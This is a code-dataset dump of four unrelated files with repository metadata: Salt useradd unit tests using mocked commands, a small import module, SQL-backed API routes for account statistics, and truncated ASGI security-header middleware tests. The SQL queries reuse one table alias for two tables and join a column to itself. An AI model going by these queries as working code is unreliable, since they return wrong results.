| 0
| 0
| 0
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 10
|
b60b84a71d85b4fc05a6001e6f30ccbf9dd71488
| 24,342
|
py
|
Python
|
tests/pytests/unit/modules/test_useradd.py
|
haodeon/salt
|
af2964f4ddbf9c5635d1528a495e473996cc7b71
|
[
"Apache-2.0"
] | null | null | null |
tests/pytests/unit/modules/test_useradd.py
|
haodeon/salt
|
af2964f4ddbf9c5635d1528a495e473996cc7b71
|
[
"Apache-2.0"
] | null | null | null |
tests/pytests/unit/modules/test_useradd.py
|
haodeon/salt
|
af2964f4ddbf9c5635d1528a495e473996cc7b71
|
[
"Apache-2.0"
] | null | null | null |
import pytest
import salt.modules.useradd as useradd
from salt.exceptions import CommandExecutionError
from tests.support.mock import MagicMock, patch
@pytest.fixture
def configure_loader_modules():
return {
useradd: {
"__grains__": {
"kernel": "Linux",
"osarch": "x86_64",
"os": "CentOS",
"os_family": "RedHat",
"osmajorrelease": 8,
},
"__salt__": {},
}
}
def test_add():
# command found and successful run
mock = MagicMock(return_value={"retcode": 0})
with patch(
"salt.utils.path.which", MagicMock(return_value="/sbin/useradd")
), patch.dict(useradd.__salt__, {"cmd.run_all": mock}):
assert useradd.add("Salt") is True
mock.assert_called_once_with(["/sbin/useradd", "-m", "Salt"], python_shell=False)
# command found and unsuccessful run
mock = MagicMock(return_value={"retcode": 1})
with patch(
"salt.utils.path.which", MagicMock(return_value="/sbin/useradd")
), patch.dict(useradd.__salt__, {"cmd.run_all": mock}):
assert useradd.add("Salt") is False
mock.assert_called_once_with(["/sbin/useradd", "-m", "Salt"], python_shell=False)
# command not found
mock = MagicMock()
with patch("salt.utils.path.which", MagicMock(return_value=None)), patch.dict(
useradd.__salt__, {"cmd.run_all": mock}
):
with pytest.raises(CommandExecutionError):
useradd.add("Salt")
mock.assert_not_called()
def test_delete():
# command found and successful run
mock = MagicMock(return_value={"retcode": 0})
with patch(
"salt.utils.path.which", MagicMock(return_value="/sbin/userdel")
), patch.dict(useradd.__salt__, {"cmd.run_all": mock}):
assert useradd.delete("Salt") is True
mock.assert_called_once_with(["/sbin/userdel", "Salt"], python_shell=False)
# command found and unsuccessful run
mock = MagicMock(return_value={"retcode": 1})
with patch(
"salt.utils.path.which", MagicMock(return_value="/sbin/userdel")
), patch.dict(useradd.__salt__, {"cmd.run_all": mock}):
assert useradd.delete("Salt") is False
mock.assert_called_once_with(["/sbin/userdel", "Salt"], python_shell=False)
# command not found
mock = MagicMock()
with patch("salt.utils.path.which", MagicMock(return_value=None)), patch.dict(
useradd.__salt__, {"cmd.run_all": mock}
):
with pytest.raises(CommandExecutionError):
useradd.delete("Salt")
mock.assert_not_called()
def test_chgroups():
# groups matched - no command run
mock = MagicMock()
with patch.object(
useradd, "list_groups", MagicMock(return_value=["wheel", "root"])
), patch.dict(useradd.__salt__, {"cmd.run_all": mock}):
assert useradd.chgroups("Salt", "wheel,root") is True
mock.assert_not_called()
# command found and successful run
mock = MagicMock(return_value={"retcode": 0})
with patch(
"salt.utils.path.which", MagicMock(return_value="/sbin/usermod")
), patch.dict(useradd.__salt__, {"cmd.run_all": mock}):
assert useradd.chgroups("Salt", "wheel,root") is True
mock.assert_called_once_with(
["/sbin/usermod", "-G", "wheel,root", "Salt"], python_shell=False
)
# command found and unsuccessful run
mock = MagicMock(return_value={"retcode": 1, "stderr": ""})
with patch(
"salt.utils.path.which", MagicMock(return_value="/sbin/usermod")
), patch.dict(useradd.__salt__, {"cmd.run_all": mock}):
assert useradd.chgroups("Salt", "wheel,root") is False
mock.assert_called_once_with(
["/sbin/usermod", "-G", "wheel,root", "Salt"], python_shell=False
)
# command not found
mock = MagicMock()
with patch("salt.utils.path.which", MagicMock(return_value=None)), patch.dict(
useradd.__salt__, {"cmd.run_all": mock}
):
with pytest.raises(CommandExecutionError):
useradd.chgroups("Salt", "wheel,root")
mock.assert_not_called()
def test_chloginclass():
# only runs on OpenBSD
assert useradd.chloginclass("Salt", "staff") is False
with patch.dict(useradd.__grains__, {"kernel": "OpenBSD"}):
# command found and successful run
userinfo = ["class salt", "class staff"]
mock = MagicMock(return_value={"retcode": 0})
with patch(
"salt.utils.path.which", MagicMock(return_value="/sbin/usermod")
), patch.dict(
useradd.__salt__, {"cmd.run_stdout": MagicMock(side_effect=userinfo)}
), patch.dict(
useradd.__salt__, {"cmd.run": mock}
):
assert useradd.chloginclass("Salt", "staff") is True
mock.assert_called_once_with(
["/sbin/usermod", "-L", "staff", "Salt"], python_shell=False
)
# command found and unsuccessful run
userinfo = ["class salt", "class salt"]
mock = MagicMock(return_value={"retcode": 1, "stderr": ""})
with patch(
"salt.utils.path.which", MagicMock(return_value="/sbin/usermod")
), patch.dict(
useradd.__salt__, {"cmd.run_stdout": MagicMock(side_effect=userinfo)}
), patch.dict(
useradd.__salt__, {"cmd.run": mock}
):
assert useradd.chloginclass("Salt", "staff") is False
mock.assert_called_once_with(
["/sbin/usermod", "-L", "staff", "Salt"], python_shell=False
)
# command not found
userinfo = ["class salt"]
mock = MagicMock()
with patch("salt.utils.path.which", MagicMock(return_value=None)), patch.dict(
useradd.__salt__, {"cmd.run_stdout": MagicMock(side_effect=userinfo)}
), patch.dict(useradd.__salt__, {"cmd.run": mock}):
with pytest.raises(CommandExecutionError):
useradd.chloginclass("Salt", "staff")
mock.assert_not_called()
def test__chattrib():
# command found and successful run
mock = MagicMock(return_value={"retcode": 0})
with patch(
"salt.utils.path.which", MagicMock(return_value="/sbin/usermod")
), patch.object(
useradd, "info", MagicMock(side_effect=[{"uid": 10}, {"uid": 11}])
), patch.dict(
useradd.__salt__, {"cmd.run": mock}
):
assert useradd._chattrib("Salt", "uid", 11, "-u") is True
mock.assert_called_once_with(
["/sbin/usermod", "-u", 11, "Salt"], python_shell=False
)
# command found and unsuccessful run
mock = MagicMock(return_value={"retcode": 1})
with patch(
"salt.utils.path.which", MagicMock(return_value="/sbin/usermod")
), patch.object(
useradd, "info", MagicMock(side_effect=[{"uid": 10}, {"uid": 10}])
), patch.dict(
useradd.__salt__, {"cmd.run": mock}
):
assert useradd._chattrib("Salt", "uid", 11, "-u") is False
mock.assert_called_once_with(
["/sbin/usermod", "-u", 11, "Salt"], python_shell=False
)
# command not found
mock = MagicMock()
with patch("salt.utils.path.which", MagicMock(return_value=None)), patch.object(
useradd, "info", MagicMock(return_value={"uid": 10})
), patch.dict(useradd.__salt__, {"cmd.run_all": mock}):
with pytest.raises(CommandExecutionError):
useradd._chattrib("Salt", "uid", 11, "-u")
mock.assert_not_called()
def test__update_gecos():
pre_info = {"fullname": "Uli Kunkel"}
post_info = {"fullname": "Karl Hungus"}
# command found and successful run
mock = MagicMock(return_value={"retcode": 0})
with patch(
"salt.utils.path.which", MagicMock(return_value="/sbin/usermod")
), patch.object(
useradd, "_get_gecos", MagicMock(side_effect=[pre_info, post_info])
), patch.dict(
useradd.__salt__, {"cmd.run": mock}
):
assert useradd._update_gecos("Salt", "fullname", post_info["fullname"]) is True
mock.assert_called_once_with(
["/sbin/usermod", "-c", "Karl Hungus", "Salt"], python_shell=False
)
# command found and unsuccessful run
mock = MagicMock(return_value={"retcode": 1})
with patch(
"salt.utils.path.which", MagicMock(return_value="/sbin/usermod")
), patch.object(
useradd, "_get_gecos", MagicMock(side_effect=[pre_info, pre_info])
), patch.dict(
useradd.__salt__, {"cmd.run": mock}
):
assert useradd._update_gecos("Salt", "fullname", post_info["fullname"]) is False
mock.assert_called_once_with(
["/sbin/usermod", "-c", "Karl Hungus", "Salt"], python_shell=False
)
# command not found
mock = MagicMock()
with patch("salt.utils.path.which", MagicMock(return_value=None)), patch.object(
useradd, "_get_gecos", MagicMock(side_effect=[pre_info, pre_info])
), patch.dict(useradd.__salt__, {"cmd.run": mock}):
with pytest.raises(CommandExecutionError):
useradd._update_gecos("Salt", "fullname", post_info["fullname"])
mock.assert_not_called()
def test_rename():
# command not found
with patch("salt.utils.path.which", MagicMock(return_value=None)):
mock = MagicMock()
with patch.object(
useradd, "info", MagicMock(return_value={"uid": 10})
), patch.dict(useradd.__salt__, {"cmd.run": mock}):
with pytest.raises(CommandExecutionError):
useradd.rename("salt", 1)
mock.assert_not_called()
# command found
with patch("salt.utils.path.which", MagicMock(return_value="/sbin/usermod")):
mock = MagicMock(return_value=False)
with patch.object(useradd, "info", mock):
with pytest.raises(CommandExecutionError):
useradd.rename("salt", 1)
mock = MagicMock(return_value=True)
with patch.object(useradd, "info", mock):
with pytest.raises(CommandExecutionError):
useradd.rename("salt", 1)
mock = MagicMock(return_value=None)
with patch.dict(useradd.__salt__, {"cmd.run": mock}):
mock = MagicMock(side_effect=[False, {"name": ""}, {"name": "salt"}])
with patch.object(useradd, "info", mock):
assert useradd.rename("name", "salt") is True
mock = MagicMock(return_value=None)
with patch.dict(useradd.__salt__, {"cmd.run": mock}):
mock = MagicMock(side_effect=[False, {"name": ""}, {"name": ""}])
with patch.object(useradd, "info", mock):
assert useradd.rename("salt", "salt") is False
def test_chuid():
# command not found
with patch("salt.utils.path.which", MagicMock(return_value=None)):
mock = MagicMock()
with patch.object(
useradd, "info", MagicMock(return_value={"uid": 10})
), patch.dict(useradd.__salt__, {"cmd.run": mock}):
with pytest.raises(CommandExecutionError):
useradd.chuid("salt", 1)
mock.assert_not_called()
# command found
with patch("salt.utils.path.which", MagicMock(return_value="/sbin/usermod")):
mock = MagicMock(return_value={"uid": 11})
with patch.object(useradd, "info", mock):
assert useradd.chuid("name", 11) is True
mock_run = MagicMock(return_value=None)
with patch.dict(useradd.__salt__, {"cmd.run": mock_run}):
mock = MagicMock(side_effect=[{"uid": 11}, {"uid": 11}])
with patch.object(useradd, "info", mock):
assert useradd.chuid("name", 22) is False
with patch.dict(useradd.__salt__, {"cmd.run": mock_run}):
mock = MagicMock(side_effect=[{"uid": 11}, {"uid": 22}])
with patch.object(useradd, "info", mock):
assert useradd.chuid("name", 11) is True
def test_chgid():
# command not found
with patch("salt.utils.path.which", MagicMock(return_value=None)):
mock = MagicMock()
with patch.object(
useradd, "info", MagicMock(return_value={"gid": 10})
), patch.dict(useradd.__salt__, {"cmd.run": mock}):
with pytest.raises(CommandExecutionError):
useradd.chgid("salt", 1)
mock.assert_not_called()
# command found
with patch("salt.utils.path.which", MagicMock(return_value="/sbin/usermod")):
mock = MagicMock(return_value={"gid": 11})
with patch.object(useradd, "info", mock):
assert useradd.chgid("name", 11) is True
mock_run = MagicMock(return_value=None)
with patch.dict(useradd.__salt__, {"cmd.run": mock_run}):
mock = MagicMock(side_effect=[{"gid": 22}, {"gid": 22}])
with patch.object(useradd, "info", mock):
assert useradd.chgid("name", 11) is False
with patch.dict(useradd.__salt__, {"cmd.run": mock_run}):
mock = MagicMock(side_effect=[{"gid": 11}, {"gid": 22}])
with patch.object(useradd, "info", mock):
assert useradd.chgid("name", 11) is True
def test_chshell():
# command not found
with patch("salt.utils.path.which", MagicMock(return_value=None)):
mock = MagicMock()
with patch.object(
useradd, "info", MagicMock(return_value={"shell": "/bin/bash"})
), patch.dict(useradd.__salt__, {"cmd.run": mock}):
with pytest.raises(CommandExecutionError):
useradd.chshell("salt", "/usr/bash")
mock.assert_not_called()
# command found
with patch("salt.utils.path.which", MagicMock(return_value="/sbin/usermod")):
mock = MagicMock(return_value={"shell": "/bin/bash"})
with patch.object(useradd, "info", mock):
assert useradd.chshell("name", "/bin/bash") is True
mock_run = MagicMock(return_value=None)
with patch.dict(useradd.__salt__, {"cmd.run": mock_run}):
mock = MagicMock(
side_effect=[{"shell": "/bin/bash"}, {"shell": "/bin/bash"}]
)
with patch.object(useradd, "info", mock):
assert useradd.chshell("name", "/usr/bash") is False
with patch.dict(useradd.__salt__, {"cmd.run": mock_run}):
mock = MagicMock(
side_effect=[{"shell": "/bin/bash"}, {"shell": "/usr/bash"}]
)
with patch.object(useradd, "info", mock):
assert useradd.chshell("name", "/bin/bash") is True
def test_chhome():
# command not found
with patch("salt.utils.path.which", MagicMock(return_value=None)):
mock = MagicMock()
with patch.object(
useradd, "info", MagicMock(return_value={"home": "/root"})
), patch.dict(useradd.__salt__, {"cmd.run": mock}):
with pytest.raises(CommandExecutionError):
useradd.chhome("salt", "/user")
mock.assert_not_called()
# command found
with patch("salt.utils.path.which", MagicMock(return_value="/sbin/usermod")):
mock = MagicMock(return_value={"home": "/root"})
with patch.object(useradd, "info", mock):
assert useradd.chhome("name", "/root") is True
mock = MagicMock(return_value=None)
with patch.dict(useradd.__salt__, {"cmd.run": mock}):
mock = MagicMock(side_effect=[{"home": "/root"}, {"home": "/root"}])
with patch.object(useradd, "info", mock):
assert useradd.chhome("name", "/user") is False
mock = MagicMock(return_value=None)
with patch.dict(useradd.__salt__, {"cmd.run": mock}):
mock = MagicMock(side_effect=[{"home": "/root"}, {"home": "/root"}])
with patch.object(useradd, "info", mock):
assert useradd.chhome("name", "/root") is True
def test_chfullname():
# command not found
with patch("salt.utils.path.which", MagicMock(return_value=None)):
mock = MagicMock()
with patch.object(
useradd, "_get_gecos", MagicMock(return_value={"fullname": "Salt"})
), patch.dict(useradd.__salt__, {"cmd.run": mock}):
with pytest.raises(CommandExecutionError):
useradd.chfullname("salt", "Saltstack")
mock.assert_not_called()
# command found
with patch("salt.utils.path.which", MagicMock(return_value="/sbin/usermod")):
mock = MagicMock(return_value=False)
with patch.object(useradd, "_get_gecos", mock):
assert useradd.chfullname("Salt", "SaltStack") is False
mock = MagicMock(return_value={"fullname": "SaltStack"})
with patch.object(useradd, "_get_gecos", mock):
assert useradd.chfullname("Salt", "SaltStack") is True
mock = MagicMock(return_value={"fullname": "SaltStack"})
with patch.object(useradd, "_get_gecos", mock):
mock = MagicMock(return_value=None)
with patch.dict(useradd.__salt__, {"cmd.run": mock}):
mock = MagicMock(return_value={"fullname": "SaltStack2"})
with patch.object(useradd, "info", mock):
assert useradd.chfullname("Salt", "SaltStack1") is False
mock = MagicMock(return_value={"fullname": "SaltStack2"})
with patch.object(useradd, "_get_gecos", mock):
mock = MagicMock(return_value=None)
with patch.dict(useradd.__salt__, {"cmd.run": mock}):
mock = MagicMock(return_value={"fullname": "SaltStack2"})
with patch.object(useradd, "info", mock):
assert useradd.chfullname("Salt", "SaltStack1") is False
def test_chroomnumber():
# command not found
with patch("salt.utils.path.which", MagicMock(return_value=None)):
mock = MagicMock()
with patch.object(
useradd, "_get_gecos", MagicMock(return_value={"roomnumber": "1"})
), patch.dict(useradd.__salt__, {"cmd.run": mock}):
with pytest.raises(CommandExecutionError):
useradd.chroomnumber("salt", 2)
mock.assert_not_called()
# command found
with patch("salt.utils.path.which", MagicMock(return_value="/sbin/usermod")):
mock = MagicMock(return_value=False)
with patch.object(useradd, "_get_gecos", mock):
assert useradd.chroomnumber("salt", 1) is False
mock = MagicMock(return_value={"roomnumber": "1"})
with patch.object(useradd, "_get_gecos", mock):
assert useradd.chroomnumber("salt", 1) is True
mock = MagicMock(return_value={"roomnumber": "2"})
with patch.object(useradd, "_get_gecos", mock):
mock = MagicMock(return_value=None)
with patch.dict(useradd.__salt__, {"cmd.run": mock}):
mock = MagicMock(return_value={"roomnumber": "3"})
with patch.object(useradd, "info", mock):
assert useradd.chroomnumber("salt", 1) is False
mock = MagicMock(return_value={"roomnumber": "3"})
with patch.object(useradd, "_get_gecos", mock):
mock = MagicMock(return_value=None)
with patch.dict(useradd.__salt__, {"cmd.run": mock}):
mock = MagicMock(return_value={"roomnumber": "3"})
def test_chworkphone():
# command not found
with patch("salt.utils.path.which", MagicMock(return_value=None)):
mock = MagicMock()
with patch.object(
useradd, "_get_gecos", MagicMock(return_value={"workphone": "1"})
), patch.dict(useradd.__salt__, {"cmd.run": mock}):
with pytest.raises(CommandExecutionError):
useradd.chworkphone("salt", 2)
mock.assert_not_called()
# command found
with patch("salt.utils.path.which", MagicMock(return_value="/sbin/usermod")):
mock = MagicMock(return_value=False)
with patch.object(useradd, "_get_gecos", mock):
assert useradd.chworkphone("salt", 1) is False
mock = MagicMock(return_value={"workphone": "1"})
with patch.object(useradd, "_get_gecos", mock):
assert useradd.chworkphone("salt", 1) is True
mock = MagicMock(return_value={"workphone": "2"})
with patch.object(useradd, "_get_gecos", mock):
mock = MagicMock(return_value=None)
with patch.dict(useradd.__salt__, {"cmd.run": mock}):
mock = MagicMock(return_value={"workphone": "3"})
with patch.object(useradd, "info", mock):
assert useradd.chworkphone("salt", 1) is False
mock = MagicMock(return_value={"workphone": "3"})
with patch.object(useradd, "_get_gecos", mock):
mock = MagicMock(return_value=None)
with patch.dict(useradd.__salt__, {"cmd.run": mock}):
mock = MagicMock(return_value={"workphone": "3"})
with patch.object(useradd, "info", mock):
assert useradd.chworkphone("salt", 1) is False
def test_chhomephone():
# command not found
with patch("salt.utils.path.which", MagicMock(return_value=None)):
mock = MagicMock()
with patch.object(
useradd, "_get_gecos", MagicMock(return_value={"homephone": "1"})
), patch.dict(useradd.__salt__, {"cmd.run": mock}):
with pytest.raises(CommandExecutionError):
useradd.chhomephone("salt", 2)
mock.assert_not_called()
# command found
with patch("salt.utils.path.which", MagicMock(return_value="/sbin/usermod")):
mock = MagicMock(return_value=False)
with patch.object(useradd, "_get_gecos", mock):
assert useradd.chhomephone("salt", 1) is False
mock = MagicMock(return_value={"homephone": "1"})
with patch.object(useradd, "_get_gecos", mock):
assert useradd.chhomephone("salt", 1) is True
mock = MagicMock(return_value={"homephone": "2"})
with patch.object(useradd, "_get_gecos", mock):
mock = MagicMock(return_value=None)
with patch.dict(useradd.__salt__, {"cmd.run": mock}):
mock = MagicMock(return_value={"homephone": "3"})
with patch.object(useradd, "info", mock):
assert useradd.chhomephone("salt", 1) is False
mock = MagicMock(return_value={"homephone": "3"})
with patch.object(useradd, "_get_gecos", mock):
mock = MagicMock(return_value=None)
with patch.dict(useradd.__salt__, {"cmd.run": mock}):
mock = MagicMock(return_value={"homephone": "3"})
with patch.object(useradd, "info", mock):
assert useradd.chhomephone("salt", 1) is False
def test_chother():
# command not found
with patch("salt.utils.path.which", MagicMock(return_value=None)):
mock = MagicMock()
with patch.object(
useradd, "_get_gecos", MagicMock(return_value={"other": "1"})
), patch.dict(useradd.__salt__, {"cmd.run": mock}):
with pytest.raises(CommandExecutionError):
useradd.chother("salt", 2)
mock.assert_not_called()
# command found
with patch("salt.utils.path.which", MagicMock(return_value="/sbin/usermod")):
mock = MagicMock(return_value=False)
with patch.object(useradd, "_get_gecos", mock):
assert useradd.chother("salt", 1) is False
mock = MagicMock(return_value={"other": "foobar"})
with patch.object(useradd, "_get_gecos", mock):
assert useradd.chother("salt", "foobar") is True
mock = MagicMock(return_value={"other": "foobar2"})
with patch.object(useradd, "_get_gecos", mock):
mock = MagicMock(return_value=None)
with patch.dict(useradd.__salt__, {"cmd.run": mock}):
mock = MagicMock(return_value={"other": "foobar3"})
with patch.object(useradd, "info", mock):
assert useradd.chother("salt", "foobar") is False
mock = MagicMock(return_value={"other": "foobar3"})
with patch.object(useradd, "_get_gecos", mock):
mock = MagicMock(return_value=None)
with patch.dict(useradd.__salt__, {"cmd.run": mock}):
mock = MagicMock(return_value={"other": "foobar3"})
with patch.object(useradd, "info", mock):
assert useradd.chother("salt", "foobar") is False
| 41.539249
| 88
| 0.606442
| 2,751
| 24,342
| 5.163213
| 0.049073
| 0.121445
| 0.161926
| 0.104759
| 0.942199
| 0.931076
| 0.912419
| 0.902915
| 0.892002
| 0.879259
| 0
| 0.006726
| 0.242667
| 24,342
| 585
| 89
| 41.610256
| 0.763765
| 0.03648
| 0
| 0.736957
| 0
| 0
| 0.152522
| 0.034084
| 0
| 0
| 0
| 0
| 0.165217
| 1
| 0.036957
| false
| 0
| 0.008696
| 0.002174
| 0.047826
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
374ef97fabb0b4ee989a06178d7083a54df06c7a
| 183
|
py
|
Python
|
game/screens/__init__.py
|
amrit-choudhary/brkout
|
fa419bb7cd9522da87f85681141291520a6bd89c
|
[
"MIT"
] | 14
|
2018-01-17T20:50:44.000Z
|
2019-01-09T11:20:56.000Z
|
game/screens/__init__.py
|
amrit-choudhary/brkout
|
fa419bb7cd9522da87f85681141291520a6bd89c
|
[
"MIT"
] | 44
|
2017-12-16T17:45:30.000Z
|
2019-05-05T10:13:58.000Z
|
game/screens/__init__.py
|
amrit-choudhary/brkout
|
fa419bb7cd9522da87f85681141291520a6bd89c
|
[
"MIT"
] | 28
|
2017-12-18T08:43:34.000Z
|
2021-02-18T10:19:55.000Z
|
''' Import all modules in this package '''
from .credits_screen import *
from .end_screen import *
from .pause_screen import *
from .start_screen import *
from .game_screen import *
| 22.875
| 42
| 0.754098
| 26
| 183
| 5.115385
| 0.5
| 0.451128
| 0.481203
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.15847
| 183
| 7
| 43
| 26.142857
| 0.863636
| 0.185792
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
37b0812824f62dc06033f49b47f2b9c0775f1fa5
| 2,233
|
py
|
Python
|
api/routes_srija.py
|
indera/dbms
|
dc6cf1a93cc0d8b314d6737a29b89791ee47d56a
|
[
"MIT"
] | 1
|
2020-03-25T03:20:55.000Z
|
2020-03-25T03:20:55.000Z
|
api/routes_srija.py
|
indera/dbms
|
dc6cf1a93cc0d8b314d6737a29b89791ee47d56a
|
[
"MIT"
] | 6
|
2020-04-19T19:19:04.000Z
|
2022-02-27T03:17:16.000Z
|
api/routes_srija.py
|
indera/dbms
|
dc6cf1a93cc0d8b314d6737a29b89791ee47d56a
|
[
"MIT"
] | 3
|
2020-03-25T03:21:06.000Z
|
2020-04-14T22:03:56.000Z
|
from api.main import app
from api.dbutils import fetch_data
sql2 = """
SELECT
D.TYPE
, R.REGION_NAME
, count(*) AS num_accounts
, TO_CHAR(A.CREATED_DATE, 'YYYY-MM') month
FROM
dmelisso.DISPOSITION D
JOIN dmelisso.ACCOUNT A ON A.ACCOUNT_ID = A.ACCOUNT_ID
JOIN dmelisso.CLIENT C ON C.CLIENT_ID = A.ACCOUNT_ID
JOIN dmelisso.DISTRICT D ON D.ACCOUNT_ID = A.ACCOUNT_ID
JOIN dmelisso.REGION_FULL R ON R.REGION_ID = D.REGION_ID
GROUP BY
D.TYPE, R.REGION_NAME, TO_CHAR(A.CREATED_DATE, 'YYYY-MM')
ORDER BY
D.TYPE, R.REGION_NAME, TO_CHAR(A.CREATED_DATE, 'YYYY-MM')
"""
@app.route('/api/getNumAccountsOpenByDispositionAndRegion')
def num_accounts_for_dispositions():
# From q4
description = "Number of accounts open for disposition types (owner/disponent) and region"
sql = """
SELECT
R.REGION_NAME
, count(*) AS num_accounts
, TO_CHAR(A.CREATED_DATE, 'YYYY-MM') month
FROM
dmelisso.DISPOSITION D
JOIN dmelisso.ACCOUNT A ON A.ACCOUNT_ID = A.ACCOUNT_ID
JOIN dmelisso.CLIENT C ON C.CLIENT_ID = A.ACCOUNT_ID
JOIN dmelisso.DISTRICT D ON D.ACCOUNT_ID = A.ACCOUNT_ID
JOIN dmelisso.REGION_FULL R ON R.REGION_ID = D.REGION_ID
WHERE
D.TYPE = 'OWNER'
GROUP BY
TO_CHAR(A.CREATED_DATE, 'YYYY-MM')
, R.REGION_NAME
ORDER BY
TO_CHAR(A.CREATED_DATE, 'YYYY-MM')
"""
json_data = fetch_data(sql, description)
return json_data
@app.route('/api/getNumAccountsOpenByDispositionAndRegionDisponent')
def num_accounts_for_dispositions_disp():
# From q4
description = "Number of accounts open for disposition types (owner/disponent) and region"
sql = """
SELECT
R.REGION_NAME
, count(*) AS num_accounts
, TO_CHAR(A.CREATED_DATE, 'YYYY-MM') month
FROM
dmelisso.DISPOSITION D
JOIN dmelisso.ACCOUNT A ON A.ACCOUNT_ID = A.ACCOUNT_ID
JOIN dmelisso.CLIENT C ON C.CLIENT_ID = A.ACCOUNT_ID
JOIN dmelisso.DISTRICT D ON D.ACCOUNT_ID = A.ACCOUNT_ID
JOIN dmelisso.REGION_FULL R ON R.REGION_ID = D.REGION_ID
WHERE
D.TYPE = 'DISPONENT'
GROUP BY
TO_CHAR(A.CREATED_DATE, 'YYYY-MM')
, R.REGION_NAME
ORDER BY
TO_CHAR(A.CREATED_DATE, 'YYYY-MM')
"""
json_data = fetch_data(sql, description)
return json_data
| 30.589041
| 94
| 0.714734
| 354
| 2,233
| 4.313559
| 0.169492
| 0.088409
| 0.078585
| 0.082515
| 0.870334
| 0.829077
| 0.829077
| 0.829077
| 0.829077
| 0.829077
| 0
| 0.001651
| 0.186296
| 2,233
| 72
| 95
| 31.013889
| 0.838745
| 0.006717
| 0
| 0.850746
| 0
| 0
| 0.817607
| 0.138149
| 0
| 0
| 0
| 0
| 0
| 1
| 0.029851
| false
| 0
| 0.029851
| 0
| 0.089552
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
37ba743882b3d531724eeac7026a56f1be88a80e
| 13,536
|
py
|
Python
|
tests/test_middleware.py
|
jtmiclat/asgi-sage
|
67c624b9fc22dd5f6b58afe4605c5f5323d66ba4
|
[
"MIT"
] | 1
|
2020-08-25T15:53:29.000Z
|
2020-08-25T15:53:29.000Z
|
tests/test_middleware.py
|
jtmiclat/asgi-sage
|
67c624b9fc22dd5f6b58afe4605c5f5323d66ba4
|
[
"MIT"
] | null | null | null |
tests/test_middleware.py
|
jtmiclat/asgi-sage
|
67c624b9fc22dd5f6b58afe4605c5f5323d66ba4
|
[
"MIT"
] | null | null | null |
import pytest
from starlette.applications import Starlette
from starlette.responses import PlainTextResponse
from starlette.testclient import TestClient
from asgi_sage.middleware import SageMiddleware
@pytest.fixture
def app():
app = Starlette()
@app.route("/sync-message")
def hi(request):
response = PlainTextResponse("ok")
response.set_cookie("key", "value")
response.set_cookie("key2", "value2")
return response
@app.route("/async-message")
async def hi2(request):
response = PlainTextResponse("ok")
response.set_cookie("key", "value")
response.set_cookie("key2", "value2")
return response
return app
def test_x_frame_options_default(app):
app.add_middleware(SageMiddleware)
client = TestClient(app)
response = client.get("/sync-message")
assert response.status_code == 200
assert response.headers["X-Frame-Options"] == "SAMEORIGIN"
response = client.get("/async-message")
assert response.status_code == 200
assert response.headers["X-Frame-Options"] == "SAMEORIGIN"
def test_x_frame_options_sameorigin(app):
app.add_middleware(SageMiddleware, frame_options="SAMEORIGIN")
client = TestClient(app)
response = client.get("/sync-message")
assert response.status_code == 200
assert response.headers["X-Frame-Options"] == "SAMEORIGIN"
response = client.get("/async-message")
assert response.status_code == 200
assert response.headers["X-Frame-Options"] == "SAMEORIGIN"
def test_x_frame_options_deny(app):
app.add_middleware(SageMiddleware, frame_options="DENY")
client = TestClient(app)
response = client.get("/sync-message")
assert response.status_code == 200
assert response.headers["X-Frame-Options"] == "DENY"
response = client.get("/async-message")
assert response.status_code == 200
assert response.headers["X-Frame-Options"] == "DENY"
def test_x_frame_options_none(app):
app.add_middleware(SageMiddleware, frame_options=None)
client = TestClient(app)
response = client.get("/sync-message")
assert response.status_code == 200
assert "X-Frame-Options" not in response.headers
response = client.get("/async-message")
assert response.status_code == 200
assert "X-Frame-Options" not in response.headers
def test_strict_transport_security_true(app):
app.add_middleware(SageMiddleware)
client = TestClient(app)
response = client.get("/sync-message")
assert response.status_code == 200
assert "strict-transport-security" in response.headers
response = client.get("/async-message")
assert response.status_code == 200
assert "strict-transport-security" in response.headers
def test_strict_transport_security_false(app):
app.add_middleware(SageMiddleware, strict_transport_security=False)
client = TestClient(app)
response = client.get("/sync-message")
assert "strict-transport-security" not in response.headers
response = client.get("/async-message")
assert response.status_code == 200
assert "strict-transport-security" not in response.headers
def test_strict_transport_security_max_age_default(app):
app.add_middleware(SageMiddleware)
client = TestClient(app)
response = client.get("/sync-message")
assert str(60 * 60 * 24 * 365) in response.headers["strict-transport-security"]
response = client.get("/async-message")
assert response.status_code == 200
assert str(60 * 60 * 24 * 365) in response.headers["strict-transport-security"]
def test_strict_transport_security_max_age_set(app):
app.add_middleware(SageMiddleware, strict_transport_security_max_age=1000)
client = TestClient(app)
response = client.get("/sync-message")
assert str(1000) in response.headers["strict-transport-security"]
response = client.get("/async-message")
assert response.status_code == 200
assert str(1000) in response.headers["strict-transport-security"]
def test_strict_transport_security_include_subdomain_trur(app):
app.add_middleware(
SageMiddleware, strict_transport_security_include_subdomains=True
)
client = TestClient(app)
response = client.get("/sync-message")
assert "includeSubDomains" in response.headers["strict-transport-security"]
response = client.get("/async-message")
assert response.status_code == 200
assert "includeSubDomains" in response.headers["strict-transport-security"]
def test_strict_transport_security_include_subdomain_false(app):
app.add_middleware(
SageMiddleware, strict_transport_security_include_subdomains=False
)
client = TestClient(app)
response = client.get("/sync-message")
assert "includeSubDomains" not in response.headers["strict-transport-security"]
